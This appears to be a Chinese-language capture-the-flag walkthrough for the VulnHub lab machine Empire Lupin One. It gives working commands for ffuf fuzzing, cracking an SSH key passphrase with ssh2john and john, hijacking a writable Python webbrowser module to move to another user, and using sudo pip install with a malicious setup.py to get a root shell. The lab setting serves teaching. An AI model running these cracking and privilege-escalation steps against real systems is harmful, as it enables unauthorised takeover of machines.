准备
1.靶机:Empire Lupin One
下载地址:https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
2.知识点:
ffuf爆破、
ssh2john工具、john破解hash的使用、
水平越权、
pip提权
一信息收集
1.nmap 扫描网段存活主机及开放端口:
仅开放80和22端口,打开80端口,发现是一张图片,没有其他内容,检测源代码也没有发现有用信息
2.敏感目录扫描:
1)dirb:
dirb http://192.168.253.135 -r
没有扫描出有价值的线索
2)ffuf扫描:
#含义:
模糊测试工具
该工具用途广泛,有多种用途:
目录发现,可选择在 URL 中的任何位置进行模糊测试
子域名发现
各种 HTTP 方法进行模糊测试
#参数:
-u: url地址
-w: 设置字典
-c: 将响应状态码用颜色区分,windows下无法实现该效果。
-t : 线程数,默认40
-p: 请求延时: 0.1、0.2s
-ac:自动校准fuzz结果
-H: Header头,格式为 “Name: Value”
-X: HTTP method to use
-d: POST data
-r: 跟随重定向
-recursion "num":递归扫描
-x: 设置代理 http 或 socks5://127.0.0.1:8080
-s: 不打印附加信息,简洁输出
-e: 设置拓展名;eg:-e .asp,.php,.html,.txt等
-o: 输出文本
-of: 输出格式文件,支持html、json、md、csv、或者all
-mc: Match HTTP status codes;eg:-mc 200
-maxtime: Maximum running time in seconds for entire process. (default: 0)
-maxtime-job: Maximum running time in seconds per job. (default: 0)
notes:尽量使用-maxtime-job与-recursion递归扫描一起使用,用于指定每个目录递归扫描时间,避免扫描时间过长
#该命令的使用
ffuf -u "http://127.0.0.1/test/.FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .txt,.pub,.bak -mc 200
①扫描
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.253.135/~FUZZ'
访问http://192.168.253.135/~secret/
此处的意思大概是:用户icex64 创建ssh私钥文件的密码 需要通过fasttrack来破解
②通过密码字典爆破:
ffuf -u 'http://192.168.253.135/~secret/.FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .txt,.pub,.html,.bak -mc 200
访问:http://192.168.253.135/~secret/.mysecret.txt (文件前记得加点.)
此处为加密内容
3.base 58解密
解密之后保存到一个文件中,
#在复制到文件中的时候一定注意密钥的的格式
vim ssh_key
cat ssh_key #检查
4.john破解
1)使用ssh2john工具转化为john可破解的格式,然后john进行hash破解
python2 /usr/share/john/ssh2john.py ssh_key > keyhash
cat keyhash #检查
john --wordlist=/usr/share/wordlists/fasttrack.txt keyhash
2)如果已经破解过密码,就无法再一次john破解,如图
3)重新加载之前破解出来的密码
john --show key11
5.ssh登录
1)需要先赋权否则登录失败
chmod 600 key1
ll #命令查看读写权限
2)ssh登录
ssh icex64@192.168.253.135 -i key1
6.提权
1)拿到shell后,搜索SUID文件
sudo -l #发现一条可执行命令
2)heist.py没有修改权限, 查看内容 发现其调用了webbrower.open()
cat /home/arsene/heist.py
ls -l /home/arsene/heist.py
3)通过find
找到该文件的位置,查看其权限,发现可以写入内容
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py
4)编辑该文件,写入调用shell脚本
vi /usr/lib/python3.9/webbrowser.py
保存退出,执行,获得arsene用户shell
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
5)拿到arsene用户权限后,sudo -l
,发现可以免密执行/usr/bin/pip
sudo -l
6)在当前路径下新创建一个目录并打开在里面创建setup.py
文件,里面写入我们想运行的python脚本,然后利用pip install
以root权限执行
TF=$(mktemp -d)
echo "import os; os.execl('/bin/bash', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
7)来到root目录,打开root.txt拿到flag